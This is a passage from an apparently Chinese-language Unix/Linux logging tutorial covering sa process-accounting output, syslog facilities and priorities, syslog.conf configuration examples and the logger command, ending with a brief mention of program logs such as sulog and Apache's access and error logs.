cp--用户和系统时间总和,以分钟计
cpu--和cp一样
k--内核使用的平均CPU时间,以1k为单位
k*sec--CPU存储完整性,以1k-core秒
re--实时时间,以分钟计
s--系统时间,以分钟计
tio--I/O操作的总数
u--用户时间,以分钟计

例如:

842 173.26re 4.30cp 0avio 358k
2 10.98re 4.06cp 0avio 299k find
9 24.80re 0.05cp 0avio 291k ***other
105 30.44re 0.03cp 0avio 302k ping
104 30.55re 0.03cp 0avio 394k sh
162 0.11re 0.03cp 0avio 413k security.sh*
154 0.03re 0.02cp 0avio 273k ls
56 31.61re 0.02cp 0avio 823k ping6.pl*
2 3.23re 0.02cp 0avio 822k ping6.pl
35 0.02re 0.01cp 0avio 257k md5sum
97 0.02re 0.01cp 0avio 263k initlog
12 0.19re 0.01cp 0avio 399k promisc_check.s
15 0.09re 0.00cp 0avio 288k grep
11 0.08re 0.00cp 0avio 332k awk

用户还可以根据用户而不是命令来提供一个摘要报告。例如sa -m显示如下:

885 173.28re 4.31cp 0avk
root 879 173.23re 4.31cp 0avk
alias 3 0.05re 0.00cp 0avk
qmailp 3 0.01re 0.00cp 0avk

4. Syslog设备

Syslog已被许多日志函数采纳,它用在许多保护措施中--任何程序都可以通过syslog 纪录事件。Syslog可以纪录系统事件,可以写到一个文件或设备中,或给用户发送一个信息。它能纪录本地事件或通过网络纪录另一个主机上的事件。

Syslog设备依据两个重要的文件:/etc/syslogd(守护进程)和/etc/syslog.conf配置文件,习惯上,多数syslog信 息被写到/var/adm或/var/log目录下的信息文件中(messages.*)。一个典型的syslog纪录包括生成程序的名字和一个文本信 息。它还包括一个设备和一个优先级范围(但不在日之中出现)。

每个syslog消息被赋予下面的主要设备之一:

LOG_AUTH--认证系统:login、su、getty等
LOG_AUTHPRIV--同LOG_AUTH,但只登录到所选择的单个用户可读的文件中
LOG_CRON--cron守护进程
LOG_DAEMON--其他系统守护进程,如routed
LOG_FTP--文件传输协议:ftpd、tftpd
LOG_KERN--内核产生的消息
LOG_LPR--系统打印机缓冲池:lpr、lpd
LOG_MAIL--电子邮件系统
LOG_NEWS--网络新闻系统
LOG_SYSLOG--由syslogd(8)产生的内部消息
LOG_USER--随机用户进程产生的消息
LOG_UUCP--UUCP子系统
LOG_LOCAL0~LOG_LOCAL7--为本地使用保留

Syslog为每个事件赋予几个不同的优先级:

LOG_EMERG--紧急情况
LOG_ALERT--应该被立即改正的问题,如系统数据库破坏
LOG_CRIT--重要情况,如硬盘错误
LOG_ERR--错误
LOG_WARNING--警告信息
LOG_NOTICE--不是错误情况,但是可能需要处理
LOG_INFO--情报信息
LOG_DEBUG--包含情报的信息,通常旨在调试一个程序时使用

syslog.conf文件指明syslogd程序纪录日志的行为,该程序在启动时查询配置文件。该文件由不同程序或消息分类的单个条目组成,每个占一 行。对每类消息提供一个选择域和一个动作域。这些域由tab隔开:选择域指明消息的类型和优先级;动作域指明syslogd接收到一个与选择标准相匹配的 消息时所执行的动作。每个选项是由设备和优先级组成。当指明一个优先级时,syslogd将纪录一个拥有相同或更高优先级的消息。所以如果指 明"crit",那所有标为crit、alert和emerg的消息将被纪录。每行的行动域指明当选择域选择了一个给定消息后应该把他发送到哪儿。例如, 如果想把所有邮件消息纪录到一个文件中,如下:

#Log all the mail messages in one place
mail.* /var/log/maillog

其他设备也有自己的日志。UUCP和news设备能产生许多外部消息。它把这些消息存到自己的日志(/var/log/spooler)中并把级别限 为"err"或更高。例如:

# Save mail and news errors of level err and higher in aspecial file.
uucp,news.crit /var/log/spooler

当一个紧急消息到来时,可能想让所有的用户都得到。也可能想让自己的日志接收并保存。

#Everybody gets emergency messages, plus log them on anther machine
*.emerg *
*.emerg @linuxaid.com.cn

alert消息应该写到root和tiger的个人账号中:

#Root and Tiger get alert and higher messages
*.alert root,tiger

有时syslogd将产生大量的消息。例如内核("kern"设备)可能很冗长。用户可能想把内核消息纪录到/dev/console中。下面的例子 表明内核日志纪录被注释掉了:

#Log all kernel messages to the console
#Logging much else clutters up the screen
#kern.* /dev/console

用户可以在一行中指明所有的设备。下面的例子把info或更高级别的消息送到/var/log/messages,除了mail以外。级 别"none"禁止一个设备:

#Log anything(except mail)of level info or higher
#Don't log private authentication messages!
*.info:mail.none;authpriv.none /var/log/messages

在有些情况下,可以把日志送到打印机,这样网络入侵者怎么修改日志都没有用了。通常要广泛纪录日志。Syslog设备是一个攻击者的显著目标。一个为 其他主机维护日志的系统对于防范服务器攻击特别脆弱,因此要特别注意。

有个小命令logger为syslog(3)系统日志文件提供一个shell命令接口,使用户能创建日志文件中的条目。用法:logger 例如:logger This is a test!

它将产生一个如下的syslog纪录:Aug 19 22:22:34 tiger: This is a test!

注意不要完全相信日志,因为攻击者很容易修改它的。

5. 程序日志

许多程序通过维护日志来反映系统的安全状态。su命令允许用户获得另一个用户的权限,所以它的安全很重要,它的文件为sulog。同样的还有 sudolog。另外,想Apache 有两个日志:access_log和error_log。